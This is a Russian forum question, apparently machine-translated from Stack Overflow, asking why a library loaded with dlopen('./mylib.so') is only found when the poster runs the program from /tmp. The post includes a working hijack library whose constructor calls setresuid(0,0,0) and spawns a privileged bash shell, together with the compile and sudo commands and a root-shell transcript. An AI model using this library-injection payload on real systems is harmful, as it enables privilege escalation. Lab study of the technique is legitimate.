Внедрение библиотеки с LD_LIBRARY_PATH, почему, чтобы выполнить программу, я должен быть в каталоге библиотеки?Linux

Anonymous
Внедрение библиотеки с LD_LIBRARY_PATH, почему, чтобы выполнить программу, я должен быть в каталоге библиотеки?

Сообщение Anonymous »

Я пытаюсь выполнить двоичный файл с повышенными привилегиями и сделать его загруженной библиотекой из конкретного каталога, установив переменную среды LD_Library_path. Прыгайте < /p>
#include
#include

int main() {
// Prova ad aprire la libreria
void *handle = dlopen("./mylib.so", RTLD_LAZY);

if (!handle) {
printf("[-] libreria non trovata\n");
return 1;
}
else {
printf("[+] libreria caricata\n");
}

dlclose(handle);
return 0;
}
< /code>
и библиотека: < /p>
#define _GNU_SOURCE
#include
#include
#include

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
< /code>
Скомтилируется с: < /p>
gcc -o /tmp/mylib.so -shared -fPIC /tmp/lib.c
< /code>
То, что я пытаюсь сделать, - это запустить исполняемый jump, внедряющий мою библиотеку: < /p>
sudo LD_LIBRARY_PATH=/tmp /home/kali/Desktop/jump
< /code>
Но он запускает его правильно, только если я нахожусь в каталоге /TMP: < /p>
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo LD_LIBRARY_PATH=/tmp /home/kali/Desktop/jump
[-] libreria non trovata

┌──(kali㉿kali)-[~/Desktop]
└─$ cd /tmp

┌──(kali㉿kali)-[/tmp]
└─$ sudo LD_LIBRARY_PATH=/tmp /home/kali/Desktop/jump
┌──(root㉿kali)-[/tmp]
└─# id
uid=0(root) gid=0(root) groups=0(root)

┌──(root㉿kali)-[/tmp]
└─# exit
exit
[+] libreria caricata
< /code>
Вопрос < /strong>

Почему? < /p>

Подробнее здесь: https://stackoverflow.com/questions/796 ... -have-to-b

Вернуться в «Linux»